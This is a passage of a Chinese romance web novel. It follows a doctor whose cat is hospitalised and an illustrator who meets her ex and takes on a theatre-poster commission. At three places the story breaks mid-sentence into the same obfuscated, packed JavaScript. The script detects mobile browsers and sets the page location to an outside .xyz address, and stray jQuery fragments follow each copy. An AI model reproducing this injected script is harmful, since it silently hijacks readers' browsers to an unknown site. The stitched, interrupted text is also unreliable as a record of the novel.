周桨鸣确实焦头烂额。一回家就上演人猫大战。
奶牛猫此刻喉咙里发出威胁的低吼。战场中心是那个万恶的猫包——一个不详的符号。代表着打针、吃药。每一次被塞进这个包都美好事!
它感觉到了主人的急切和不安,更让它确信大难临头。
“听话!进去!”周桨鸣的手臂上添了两道新鲜血痕。他试图用毛巾裹住这只此刻力大无穷的祖宗,把它往猫包里塞。
“我是带你看病,救你的命,不是害你。”
平时在急诊室面对再混乱的场面都能保持冷静的他,此刻被一只十几斤的大肥猪搞得狼狈不堪。
最后强行塞进猫包后迅速拉上拉链。
周桨鸣顾不上手臂的疼痛,抓起车钥匙就冲出了门。下到地下停车场,走到自己那辆蒙着厚厚一层灰的车旁。
看着这车周桨鸣自己都觉得搞笑,这车买来一年就动不了几次。
拉开车门,灰尘簌簌落下。
宠物医院的流程和人医大同小异,只是患者不会说话。
一番检查下来,确诊是膀胱炎,还好发现及时,没有完全尿闭,但需要导尿和后续住院输液消炎。
“周先生,它这种情况,建议住院观察治疗几天,我们方便随时监控排尿情况和输液。”戴着眼镜的年轻兽医宋玉和他挺熟,建议道,“您工作也忙,住院对它恢复更好。”
周桨鸣看着检查台上蔫蔫的小叮当,想到接下来几天自己的工作,确实无法保证按时给它喂药观察。
他点点头:“行,住院吧。麻烦你们了。”隔着伊丽莎白圈,揉了揉小叮当毛茸茸的脑袋,“好好治病,过几天来接你。”
走出医院,点开黄转青的微信头像,发了条信息:“检查完了,膀胱炎,得住院几天。别担心。”
想了想,又加了一句:“挠了我好几道。”
信息刚发出去那边就秒回:“住院了?小可怜。等它出院了,我能去看看它吗?”
一连串的信息蹦出来。
周桨鸣等了几分钟,确认对面没有其他话要说。回复:“行。”
他收起手机,走进自己那辆灰头土脸的车。习惯性地想摸根烟,却发现烟盒空了。
啧了一声,调转车头,往附近一个稍大点的便利店开去。
刚停稳在路边一个空位,还没熄火,就意外看到几个有些眼熟的身影。
路灯下,三个年轻姑娘站在便利店门口的台阶上,其中一个拄着单拐。她们似乎刚买了东西出来,站在路边不停地张望马路,手里拿着手机。
要么在等人,要么在打车。
“怎么一辆车都没有!”
“是啊,都等了十几分钟了。小雅,你腿行不行?要不进去再坐会儿?”
“没事没事。”
周桨鸣坐在车里,他本不想多事,但看着小雅打着石膏的腿就这么站着?就这么等着?
他有时候真搞不懂这一个两个三个的!
还得算上黄转青。
他真搞不懂这一个两个三个四个的!
不对,那个虞鱼也算上。
他真搞不懂!
烦躁地薅了把头发,最终还是推开车门走下去。
他心里想:我只是去买烟。
买完出来,看着那几个还在路边焦急的姑娘,叹了口气。
他脚步很轻,直接走到她们身后,打了个清脆的响指。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190011|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
三个姑娘吓一跳,看清是面无表情的周桨鸣时,都挺惊讶。上次球场那事儿三个人都在呢。
“周医生!”小雅大大方方开口。
“嗯。”周桨鸣应了一声,下巴朝自己那辆车扬了扬,“上车吧,送你们回去。”
“啊?”三个姑娘都懵了,随即反应过来。
也都不是那扭扭捏捏的人!这大晚上的,没必要硬矫情。高高兴兴地道谢,都往车那边儿走。
其中一个姑娘朝着路边一辆看起来干净锃亮的白色轿车快步走过去,伸手就要先替小雅拉车门——显然,她压根没把那辆灰头土脸的车和周桨鸣联系在一起。
周桨鸣:“……”
他有点无语,但也理解。提高声音喊了一句:“回来。”
那姑娘拉车门的手停住,疑惑地回头。
周桨鸣拉开自己那辆出土文物的后车门,语气平淡:“这辆。”
那姑娘看着眼前这辆车,再看看周桨鸣那张冷淡的脸,尴尬得恨不得找个地缝钻进去:“对不起周医生!怪我,我没看清。”
小雅和另一个同伴笑死,赶紧过来:“谢谢周医生!麻烦您了!”
“没事,上来吧,小心腿。”
他示意小雅坐副驾,空间大些。
周桨鸣打开一点车窗,让夜风吹进来。
他车开得很稳。
其实大多数情况下,周桨鸣都这样,手上不停,但嘴上不太爱讲话。
一开始,车厢里有些沉默,只有导航的女声提示路线。
开过一个路口,等红灯的间隙。周桨鸣的手指敲了敲方向盘,随口一问:“你们排的那个话剧,讲初代女篮的,叫什么名字?”
小雅正看着窗外发呆,闻言眼睛亮了:“周医生您感兴趣啊?”
随即把这部话剧的背景故事,以及导演的创作思路和创作历程都讲了讲。语气充满自豪和热爱。
周桨鸣安静地听,目光依旧看着路,偶尔嗯一声表示在听。
等小雅兴奋地讲完一段,才接了一句:“行,到时候去支持一下。”
“真的吗?需要我给您留票吗?我跟您说,我们剧团口碑很好,票还挺难抢的哦!”小姑娘的语气里带着点剧团人的小骄傲。
周桨鸣被她这逗乐了,笑容真心实意:“挺火?那挺好。”
他是真觉得挺好。在这个话剧市场不算景气的年头,一个专注于女性题材的剧团能挺火,能靠票房养活自己,能让这些年轻的演员有底气说出票难抢,确实值得一句真诚的“挺好”。
这个女导演是厉害。
周桨鸣也没客气:“那你帮我留两张吧。回头把时间和票价发我,我把钱转你。”
他拿出手机调出微信二维码递到小雅面前。
“没问题周医生!”
周桨鸣按照导航和姑娘们的指引,先把一个同伴送到,再送小雅和另一个。
她们住在一个老小区,车只能停在巷子口。
“谢谢周医生!今天真是麻烦您了!”
“没事,好好养伤。”
直到她的身影消失在拐角,周桨鸣才重新发动车子。车厢里彻底安静下来,刚才的短暂热闹不复存在。
车子驶入自家小区的地库。
周桨鸣没有立刻下车。他靠在驾驶座的椅背上,地库里光线昏暗,寂静无声。他忽然觉得这方寸之地,这辆积满灰尘的车,还有头顶那个即将回去的家,都有着一种难以言喻的空。
推开车门,脚步声自顾自回荡。
打开家门,迎接他的不再有那只肥猫的喵呜,没有毛茸茸的身体蹭过来撒娇。
按亮灯,灯光洒满客厅,一切如旧。但猫爬架上空荡荡的。
走到窗边,那盆土人参在视野里撞进来。轮廓显得有些模糊,但正因此而温柔,有种油画般质感。
不能再进一步,油画美在二维,若再进一步,叶片伸入现实,那还会美吗?
人对美的感知有时会让自己陷入崩溃。很难想象。
但周桨鸣此时有点崩溃。
北京城的夜景在窗外铺展,无边无际,流光溢彩。
无数的灯火,代表着无数种生活,无数未曾实现的梦想,和无数深藏心底未能宣之于口的心事。
这座城市很大。
大得能装下千万人的悲欢离合,大得能让一个人渺小得像一粒尘埃,大得让人时常感到一种无解的的孤独。
一张脸撞进周桨鸣的脑海——黄转青。
这座城市其实也很小。
11. 野蛮生长
保温桶在黄转青这儿安家。
她问过周桨鸣几次,要不要她直接放他家门口,等他回来自己拿进去就好,省得麻烦。
周桨鸣的回复总是:“不行。万一丢了呢?或者被人当垃圾收走了。我不急用,暂时搁你那儿吧。安全为主。”
黄转青想起这个保温桶是他妈妈的,或许对他而言真的很重要。于是反倒生出责任感。
行吧,那就好好替人家保管。
只是放得太久,难免会沾染生活的尘埃。
虞鱼恢复得不错,出院那天,黄转青帮着收拾东西办理出院手续。
扶着虞鱼路过护士站,虞鱼用胳膊肘捅了捅她:“青青,不去跟周医生告个别?好歹爱心传递过呢。”
黄转青也觉这是应该,索性两个人往医生办公室的方向飘。
走廊里走过的白大褂不少,却没有那个熟悉的高瘦身影。
虞鱼嘿嘿一笑:“我问问护士,周医生在不在。”
正巧一个熟悉的护士在整理病历。
黄转青主动问:“您好,怎么最近几天没看到周桨鸣周医生啊?”
护士了然:“周医生啊?轮转期到了,昨天刚转到心胸外去了,不在我们这层。”
“这样啊。”黄转青点点头。心里莫名地松了口气,像是卸下了包袱。
她扶着虞鱼走进电梯,按下下行键。
虞鱼看着她,调侃道:“看吧,想见也见不着咯。”
黄转青没接话,只是看着跳动的楼层数字。
是啊,偌大一个医院,那么多医护,病人更是川流不息。每个人都有自己的轨道都有自己的事要忙。如果不是刻意安排,想要偶遇一个人谈何容易。
就像两条线,即使在同一栋大楼里,也可能永远没有交汇点。
想到这里,她心底深处涌起相当实在的轻松感。
这感觉让她自己都很陌生。为什么轻松?好像是避开了某种隐隐让她感到不安的靠近。
她还在想这份轻松的缘由,手机震动。
是小林的消息。她的前男友。
“青青,我近期要去北京出差几天。有空的话,一起吃个饭?”
黄转青看着手机屏幕迟疑。过往的记忆还是清晰,带着南国湿润的海风气息。
两个人分开,没有狗血背叛,没有激烈争吵,是两条溪流在岔路口,自然而然地分道扬镳。
那不是小林的错,也不是她的错。是时间的裁决。
她解开了心中那份关于“轻松”的困惑。
“好啊。时间地点你定。”
轻松,是因为她不再渴望,或者说不再信任那种亲密关系。
她不是傻子。周桨鸣的出现,带来了“麻烦”性质的牵扯,这让她警惕。
她看清了自己心底的答案:亲密关系,对她而言,既非必需,又实在累人。投入所有热情,最终结局却注定是分离或淡漠,那又何必开始?何必把自己搞得那么疲惫不堪?
她不信那些天长地久的童话,也不信自己能幸运地成为例外。
小林的消息,恰逢其时,印证了这种“分离”的常态性。
小林很快回复。他的酒店在黄庄附近。
黄转青打开app看了眼,约在了钱塘花园。
她记得小林的奶奶是宁波人,小林爱吃宁波菜。
不一定来到北京就一定要吃北京菜,保留自己本身的口味,并不会影响自己去融入这个城市,不会影响一个人的呼吸与行走。
小林和宁波菜本就更合拍。
约定的日子。黄转青在地铁站出站等小林。
心情像脚下的地砖,沉、稳、没那么平。
小林瘦了些,眉眼间多了成熟稳重,笑起来时温和不变。
“青青。”他快步走过来,笑容真诚。
“好久不见。”黄转青也笑。
黄转青确实饿了,菜系又合口味,吃得格外投入。小林看着她这个样子忍不住笑。
她佯怒:“笑什么!”
“笑你现在胃口这么好,精神头这么足,整个人看起来状态比在厦门的时候好多了,也比跟我在一起的时候显得更有活力。”他语气真诚,说着还会点头,“真的,我为你高兴。你当初选择来北京是对的。”
朴实无华。是老朋友般的观察和发自内心的祝福。
黄转青放下筷子,也笑着对视小林的眼睛。
“谢谢你这么说。跟你在一起的时候,我也很开心。我们很合适。”她用了合适这个词,“这是真心话。”
再合适的人,再美好的曾经,还是会让时间无声地冲散了彼此紧握的手。
这似乎是人生的常态,一种无解的宿命感。
离开厦门的前一晚,黄转青和小林见过面。
两人在海边沉默地站了一会儿,在旁边的摊贩上买了一罐啤酒和一罐可乐。小林看起来憔悴。
海浪声重复着离别的节奏。
“对不起,”黄转青先开口,声音很轻,“那天在饭桌上我太冲动了。不该那样宣布分手,让你难堪。”
小林摇摇头:“难堪是有一点。但更让我难受的是,你好像一直很痛苦,而我竟然没真正意识到,或者说,我选择了视而不见。”
他抬头看她,眼神复杂,“青青,那天你说没办法再继续下去,是真的吗?没有一点余地了?”
黄转青看着他,这个陪伴了她五年的男人。他的眼神里有不舍,但没有她预想中的挣扎或不甘。
她忽然明白,他内心深处也早已疲惫不堪。
“是真的。”她心里最后一丝犹豫也消散,“我们之间的问题,不是结婚就能解决的。我不想再在这样的关系里消耗自己。我们都尽力了不是吗。”
这并不是一个问句。
最终小林像是卸下重担般吐出一口气,肩膀微微垮了下来。他点了点头,声音带着释然:“我明白了。你值得轻松一点的生活。”
他的平静让黄转青更加确认自己的决定是对的。
这是一种心照不宣的共识。
“祝你以后一切都好。”
“你也是,黄转青。”
没有拥抱,没有握手。小林把可乐递给黄转青,自己扣开那罐啤酒,再向着黄转青举起。
是一个等待碰杯的动作。
黄转青端起茶杯,与他轻轻一碰。小林眼眶微微泛红,碰完后掩饰性地喝着杯子里的茶。
再放下时,声音带着哽咽:“看到你现在这样,我很开心。黄转青,祝你一切都好。”
“你也是,一切顺利。”黄转青说。
那是一段好时光。
一顿饭,吃得心头发热,眼眶也热。
明明是旧情人重逢,气氛却温暖而感伤。
“这饭吃得太煽情了,哭唧唧的像什么样子。”黄转青揉了揉眼睛,故作轻松地打破气氛,“我看看附近有什么演出,咱们转换下心情,一起去看看?”
脱口秀剧场里,笑声此起彼伏,台上演员妙语连珠。
黄转青和小林被逗得抛开饭桌上的感伤。
不经意间,黄转青目光扫过前排一个短发女孩的侧脸,越看越眼熟。
散场时,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190012|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人群涌向出口。黄转青和小林往外走,那个短发女孩也正和同伴起身。
短发女孩也认出了她,眼睛一亮:“是你!医院门口扶小雅的那位姐妹?”
黄转青也笑了:“对!是我。我刚才也发现你了,好巧啊。”
“我叫邢频!话剧团的。”邢频爽快地伸出手。
黄转青和她握了握:“黄转青。”
邢频是个自来熟:“你也爱看演出啊?”
“是啊,带朋友过来。”黄转青指了指小林。
“哦哦!”邢频点点头,随即像想起了什么,上下打量着黄转青,眼神里很兴奋,“你看起来很像演员欸,气质真好,你是做什么工作的呀?”
“我?过誉啦。我可做不了演员。我是画画的。”黄转青被她的热情弄得有点不好意思。
“会画海报那种吗?商业的?艺术的?”
“会一点,看具体要求。”
“太好了!天降神兵!你帮我们画海报吧,我们导演一直想找个有生命力的女画师,才能画出传递那股劲儿的海报。求求了!”
画话剧海报?这跨度有点大,黄转青想退缩:“我不行的吧?没画过这种。”
“怎么不行,”小林在旁边突然开口,“你画的东西一直很有生命力啊,去试试呗,多好的机会。”
“对啊对啊!试试嘛!”邢频抓住小林的话头。两人一唱一和,形成强大的撺掇气场。
“那我试试!”
邢频立刻掏出手机:“加微信!咱们细聊!”
走出剧场,黄转青的心还在怦怦直跳。抬头望着深蓝的夜空,一颗星也没有。
她和小林站着看了一会儿天,然后互相道别。
正如几个月前,两人在海边最后并肩站了一会儿,接着像两条曾经交汇过的溪流,彻底地分道而行。
黄转青回到家,略过保温桶,走向书桌打开电脑。看着邢频刚发过来的历史资料和导演的创作故事。
窗外的城市灯火依旧璀璨,装着无数的心事与梦想。而此刻十九楼的小空间里,保温桶所代表的某种情感的重量与犹疑,暂时被搁置在了角落。
老照片上,穿着简陋运动服的女篮队员们,在泥土地上奔跑跳跃。导演的创作手记,充满对那段筚路蓝缕岁月的致意。
其中有一张照片:一个队员在场边,用捣碎的草叶敷在自己脚踝上。
旁边写着:“条件艰苦,队医不足,队员们常自采草药处理伤痛。”
她阅读队员们的日记片段,看她们去采集路边的蒲公英、艾草。开始在速写本上涂鸦。
起初是勾勒女篮队员的矫健身姿,但总觉得少了点什么,不够野蛮生长,不够冲破一切。
她烦躁地翻过一页。
不知是什么指引着她看过窗台。
窗台上枝干蜿蜒,不管不顾。叶片如剑,刺破阻碍。
生命力,不正是植物最本质的属性吗?
黄转青心中一动,拿起笔,不再是人像,而是线条,向上攀升的线条。
利剑般刺向天空的叶形线条,破土而出螺旋状的幼苗线条。
那些女篮队员就是在石缝中顽强求生的植物。
这个联想让她兴奋。
一个跃起投篮的动作,被解构重组。运动员的身躯化作藤蔓,向上攀升,充满弹性。伸展的手臂是张开的叶片,托举着那颗象征梦想的篮球。
队员们围在一起加油鼓劲,是一丛在风雨中紧密相依的芦苇,纤细坚韧。
黄转青对着屏幕上初步完成的草稿行注目礼,野蛮生长跃然纸上。
12. 你没存我电话啊?
虞鱼出院上班,黄转青下班后不用再往医院跑。
生活慢慢滑回了它自己的轨道,像海淀难得的澄澈天空。
公司里,游戏项目中,角色原画也进入了相对平缓的阶段。
角色设定基本定型,工作量骤减。
黄转青坐在工位上,看着昨天刚刚挪到她背后办公的场景原画汪蓝,正对着显示屏龇牙咧嘴。屏幕上是令人眼晕的废弃工厂内部结构图,各种管道和铁锈,斑驳的墙皮。
“真不容易啊。”黄转青带着点同病相怜的感慨。
汪蓝耳朵尖,顶着一头乱糟糟的头发和两个硕大的黑眼圈,眼神哀怨:“站着说话不腰疼!你这角色现在爽了是吧?看看我这,画得我快神经衰弱了。”
黄转青耸耸肩回了个爱莫能助的表情。
汪蓝哀嚎一声,猛地站起来:“不行了不行了,得下去透口气,再对着这堆东西我要爆炸了。”
“又去?”
写字楼下的绿化带边,热风吹散楼里浑浊的空调气。汪蓝靠在外墙墙壁上,吸了一口外面的空气:“真难闻!”
黄转青笑死:“那你还吸这么大口。”
“难闻到死死的我现在都活过来了!”汪蓝闭着眼感叹。
黄转青站在她旁边,看着马路对面匆匆的行人。
工作是工作,生活是生活,偶尔抽离出来,感觉确实不一样。
迟钝的感官开始复苏。
汪蓝伸手把烟叼在嘴里,另一只手同时去摸打火机。
在打火苗即将凑近烟头的瞬间,汪蓝她难以置信地低下头,看着自己叼在嘴里的东西,不是烟,而是一支数位笔。
“我超……”
汪蓝发出一声哀嚎,把数位笔从嘴里拔出来,举到眼前,表情扭曲。
黄转青这下是真没憋住。
“爱岗敬业,挺好。”黄转青向她竖起大拇指!
汪蓝哭丧着脸把无辜的数位笔塞回兜里,白了黄转青一眼:“笑屁啊!幸灾乐祸。算了算了,不抽了!戒了。”
她继续靠在墙上,仰头看着天空,突然想起什么,侧头问黄转青:“你这几天神神秘秘的,下班就跑,忙啥呢?看你气色倒是不错。”
黄转青没隐瞒:“接了个私活,给一个话剧团画海报。”
“话剧海报?”汪汪蓝脸上一点惊讶都没有,好像理所当然,“行啊你,跨界了,画啥主题的?”
“讲中国第一代女子篮球队的,还赴日比赛拿了奖呢。要不是因为这个话剧,我从来不知道这件事儿。都没人宣传。”
“这题材带劲!”汪蓝眼睛亮了亮,随即又恢复了她那副懒洋洋的死样子,非常笃定地一挥手,“画吧。你肯定行。你这调调,画这种有劲儿的东西最合适不过。”
斩钉截铁的信任让黄转青一怔。
她想说点什么的,可话到嘴边又咽了回去。
奇怪,她发现自己心里竟然没有像往常那样涌起不自信。
是因为前几天答应了邢频,已经跨出了那一步?还是因为汪蓝这理所当然的语气,给了她一种支撑?
她看着汪蓝,没说话,只是嘴角弯起。
汪蓝没在意她的沉默,目光扫过写字楼光亮的玻璃幕墙,又落回黄转青身上,闲聊般随口一提:“我昨天搬工位过来,看你窗台上养了好多植物,长势挺好。你这么会养,画画又好,干嘛不试试画植物插画?”
植物插画吗?
放在以前,她大概会先摇头。但此刻,汪蓝的话音刚落,黄转青立刻顺着这个提议,认真地思考。
对啊!我就是想画植物插画。为什么不行呢?这不正是自己期待的方向吗?
她的高中时代,和几个要好的同学背着画板,坐很久的公交车去厦门植物园写生。
她坐在蕨类植物丛生的阴凉处,对着一片热带阔叶,安静地画上大半天,心无旁骛。
在自然里专注于描绘一花一叶的快乐,被掩埋了很久。最近频繁被轻巧地挖出来。
“我会去试试的!”
这个念头一旦升起,就带着无可匹敌的吸引力。
画海报是挑战,是向外探索,画植物,却像是向内回归。回归本心。
她抬起头对汪蓝说:“谢谢你!你这个提议太棒了!”
汪蓝嘿嘿一笑,顺手就想弹她脑崩儿,手伸到一半又收了回来,改成拍了拍黄转青的肩膀:“跟我客气啥。真要谢我,下次帮我拆分图层呗?”
黄转青刚才的感谢被这图穷匕见给冲散,没忍住翻了个白眼。
翻完觉得好陌生,这不是周桨鸣爱干的事吗?她以前可从来不翻白眼!
黄转青只好一把拍开汪蓝的手:“滚啊你,想得美!”
周五傍晚,项目组没安排加班,大家收拾东西都特别快。
黄转青的心情也雀跃。她今天的目标很明确——回家,一鼓作气把海报收尾!
前天邢频和剧团那边已经给了反馈,意见不多。黄转青改得很顺利,今天感觉状态特别好,可以高歌猛进,一举拿下。
背着包走出写字楼,风带着自由的气息。
黄转青浑身充满了干劲。
已经在心里盘算好了周末的计划。海报搞定后,她要去国家植物园。早就该去了!
回到十九楼的小窝,开灯,放下包。打开电脑调出海报文件。
画笔在数位板上滑动,像蚕食桑叶。时间在专注中悄然被这样吃掉。
当最后一处细节被确认无误,黄转青停下笔,向后靠在椅背上。
屏幕上那幅凝聚了她心血的海报熠熠生辉。
她发给了邢频,附了三个字:“搞定了。”
“太棒了!我这就发给导演看!”
黄转青站起身走到窗边。夜色正浓。
画笔已经准备好,明天去捕捉另一份动人的生命力。
这才想起买国家植物园的门票,结果一看时间,凌晨三点,售票系统关了。
只能等睡醒再说。
还没放下手机呢,弹出个新鲜的好友通知。
头像是个模糊的逆光人影,验证消息写着“孟知春”。
黄转青点了通过。
“您好,您是?”发完就把手机往沙发垫子上一扔。
肚子咕噜一声又一声,来不及正经张罗,黄转青给自己泡了碗面。
客厅沙发上,手机屏幕短暂地亮起又暗下去。她的手机常年静音。
端着泡面回到客厅,黄转青这才瞥见未接来电,一串陌生数字。
她还犹豫着要不要回拨过去呢,电话又打过来。
只好喂了一声:“您好,请问您是?”
电话那头是沉默。
黄转青皱皱眉,以为信号不佳,又“喂?”一声,“听得到吗?”
“你没存我电话啊?”一个熟悉的男声终于响起,带着难以置信。
是周桨鸣。
黄转青脑子都没在转。
她确实没存。先是应着,随即反应过来,理直气壮。
“没存啊。又用不上,有事儿微信说不一样吗?这都什么年代了?”
“微信说?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16190013|181098||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
周桨鸣的声音冷飕飕的,带着嘲讽,“我微信给你发消息,你回了吗?”
黄转青切出通话界面,锁屏界面岁月静好。手机睡眠模式,消息静默如黑。
她点进微信,红点排排站。周桨鸣、邢频、还有那个刚通过的好友,都发了消息。
周桨鸣:“你还不睡?”
“抱歉抱歉,没看见。你找我什么事啊?这么急。”
她赶紧解释,话刚出口,又觉得不对。
“不对!这都几点了?就算我没回微信,万一我睡了呢?你就这么直接打电话?你懂不懂礼貌啊!”
她把礼貌两个字咬得清晰且重。
“我没礼貌?黄转青,你讲不讲道理?”周桨鸣在电话那头简直要气笑了。
周桨鸣这天回家早,六点到家八点就睡。
一觉睡醒,时间才凌晨三点。
睡意不再来,刷着朋友圈刷到小雅发的话剧海报,上面画师署名——这不那个谁吗?
朋友圈里还随了张群聊截图。
邢频说:“凌晨三点交稿,瑞思拜。”
女导演孟知春在群里说:“邢频,把黄老师微信推我一下。”
邢频回了个欧克。
再接着,孟知春回:“已经加上了。”
周桨鸣头疼。都快三点半,那个谁画完了还没睡呢,有什么事儿不能睡醒了再说吗?
周桨鸣点开黄转青微信,问她:“你还不睡?”
石闷大海,一点水花没有。
周桨鸣越想越不对劲,一个熬到凌晨三点多,高强度用脑用笔的人突然失联。
微信不回,电话不接。
他是医生。
脑子里第一个蹦出来的念头是黄转青是不是已经撅过去了?
这真是职业素养带来的合理联想。
周桨鸣鞋都换好,准备上十九楼拍黄转青家门。
临出门前不死心,想着再打最后一个电话。
此时电话这头,周桨鸣最终只说了句:“算了……你人没事就行。”
再次沉默,这次带着一种不知该如何收场的空白。
黄转青盯着茶几上那碗面条开始坨成一团的东西,没了胃口。
“那个,导演加我了。”她试图重振话题。
“嗯。”周桨鸣那边传来一个单音节,多一个字都是浪费。
“她约我明天下午聊聊。”黄转青像个汇报情况的小学生。
“好事。”周桨鸣的声音依旧没什么温度。
又是沉默。
“周桨鸣,”她清了清嗓子,“谢谢你啊。还有,对不起,让你担心了。”
电话那头安静了几秒。
“谁担心你?我是怕你死屋里头,回头警察找我问话。”
真怪啊。黄转青死了,警察找你周桨鸣干什么?
当然,黄转青肯定不会这样回。
“行行行,知道了。我吃饭去了。”
“这个点你吃什么饭?”
“泡面。挂了。”
“哦。拜拜。”周桨鸣挂断。
黄转青把泡面推到茶几最远的角落。
拿起手机,先给邢频和导演回消息,处理完正事,再点开周桨鸣的对话框。
“周太医费心了。”
屏幕上弹回一个熟悉的竖着中指的表情包。
黄转青定睛一看,乐了。
不就是她之前甩给周桨鸣那个吗?原封不动被还回来了。
这以彼之道还施彼身的操作,反而让黄转青心里那点别扭被拧回来一些。
13. 吐象牙那是大象的事儿
昨晚。
“黄老师您好,我是孟知春。海报非常出色,远超预期。明天下午两点方便聊聊吗?我想当面沟通。”
黄转青赶紧回复:“孟导您好,方便的。下午两点我准时到。”
发送完,又补了个谢谢认可的表情包。
孟知春回了个好字,干脆利落。
黄转青提前抵达孟知春导演发定位的咖啡馆。
剧团所在的区连空气都跟海淀不一样,像是两个世界。
黄转青点了杯拿铁,在靠窗位置坐下没一会儿。一个身影推门而入。
孟知春穿着裤装,走路带风,眼神精准。
定位到黄转青,脸上绽开笑容。
“久等了!”
“导演您好,我也刚到。”
孟知春没半句废话,从帆布包里掏出平板,开门见山。
“海报我看过了,非常好。力量感和时代感都抓得很准,将人物和植物做成共同体是超出我意料的。但非常契合我们这部剧的精神内核。”
“我们剧团的每个伙伴都能慧眼识人,邢频果然没推荐错。”
如此直白的肯定,且只有肯定,没有跟在肯定后面的“但是”。
黄转青觉得这感觉很陌生,这陌生为她带来感动和自信。
“我个人对这个海报也很满意,超出了我一开始接下这个任务时对自己的期待。现在看来我不负所托,传达出了剧的精神,我也高兴。”
“岂止传达,是点燃。所以,要深度合作吗?请您设计宣传物料。”
孟知春打开另一个文件,滑动屏幕。
“主题的衍生品。T恤、帆布包、明信片。”
衍生品?
黄转青着实意外。
“不急。”孟知春一挥手,“今天就是通气儿。我们尽快整理详细需求文档给您,包括各种尺寸用途,和衍生品的初步品类。预算您放心。”
孟知春什么都直给,什么都没有二层意思,这实在对黄转青而言很好。
“我们珍惜这次合作,希望能长期绑定。当然,您本职工作优先。”
长期绑定?持续的挑战,更多的收入。
只是时间突然紧俏。
“谢谢您的信任。”黄转青斟酌,“我非常乐意和您合作。时间上我会尽力协调。只是我最近想要尝试画植物插画,所以到时候的排期,还得看您这边详细需求和实际状况我再敲定。”
“没问题。沟通万岁。”孟知春爽快拍板。
正事谈得顺利。不到半小时就解决一切。
孟知春看表:“黄老师,我得回去盯排练了,咱们今天先这样?”
“好的,导演您忙。”黄转青起身。
送走孟知春,黄转青坐回位置。
咖啡凉透,心却滚烫。
新挑战,新可能,就这么铺开。
她拿出手机,买了明天国家植物园的票。
硝烟和蓝图,都需要这片绿意来沉淀和滋养。
黄转青还是决定爬楼梯回家。权当是给这兴奋的心情降降温。
走到十六楼时听到了一声咳嗽,她突然开始心跳加速。
缓慢的一级一级往上挪,想着要不等周桨鸣抽完回家了她再往上走。
结果周桨鸣开口了:“黄转青?”
黄转青:……
黄转青硬着头皮走上去。
“你怎么在这儿?”她先发制人。
周桨鸣:……
周桨鸣扫了她一眼:“你是见导演去了还是见鬼去了?”
他一边说着刻薄话,一边侧身给她让位置。
“你嘴里能不能吐点象牙出来?”
“吐象牙那是大象的事儿。”周桨鸣嗤笑一声,“我是个医生,最多给你吐出点儿诊断。”
“……”
“说了你又不爱听。”
“知道我不爱听你就别说。”
黄转青只想赶紧爬完最后两层,抬脚就要继续往上。
“等会儿。”
黄转青停下脚步,扭头看他,眼神里是:有话快说。
“那位老祖宗今天出院。保洁正搁我家打扫呢,一会儿弄干净了我就去接它。你要不要一起去?”话刚出口,他似乎又觉不妥,“看你这样儿,明天再看也行。省得你半道上撅过去还得麻烦我。”
“……请问老祖宗是哪位?”
“小叮当。”
“……”
黄转青之前就说等猫出院她想去看看,那就没有不去的道理。
“去!就今天!”她斩钉截铁,“明天我还有事儿呢,去不了。”
“什么事儿?”
周桨鸣问完自己似也愣,掩饰性地把烟摁灭在一个装了水的饮料罐里。
“去国家植物园。”黄转青回答很自然,“票都买好了。”
周桨鸣点点头,脸上不起波澜。
爱去哪儿去哪儿,国家植物园和楼下便利店在他这儿没区别。
他拍了拍沾了点烟灰的手指,转身往自家门口走,丢下一句没头没尾的话:“那盆土人参,我养的挺好的。”
黄转青没太听清,也就没回话,也没立刻跟进去。
想着保洁还在他家忙活,她杵在那儿估计也碍事。还是先回自己家。
把包随意扔在地上,人也像被抽了骨头似的瘫进沙发里。闭着眼缓了几分钟,才挣扎着起来洗把冷水脸。
估摸着时间差不多她才下楼。走到1713门口,门虚掩着。
她敲了敲门。
“进。”周桨鸣的声音从里面传来。
推门进去,屋里亮堂。
保洁阿姨刚收拾完,正把最后一点垃圾袋扎紧,看见黄转青,和气地笑了笑。
又对着客厅:“周医生,都弄好了啊,我先走了。”
“辛苦您了,钱我已经转过去了。”
周桨鸣站在客厅中央,难得说人话。
他换了身衣服,头发似乎也抓了两把,没那么炸毛。
屋子干净,物品归置得整整齐齐,只是也冷清得过分,像个样板间。
“走吧。”周桨鸣抓起玄关鞋柜上的车钥匙。
黄转青拉开车门坐进去,一股淡淡的车载香薰的味道,车内外收拾得很干净,像他刚被打扫过的家一样。
宠物医院离得不远,开车也就半个多小时——在北京,半个小时说得离谱点都能算是家门口。
一路上,周桨鸣专注开车,没怎么说话。黄转青靠着车窗,昨晚没休息好,脑子里空空的。
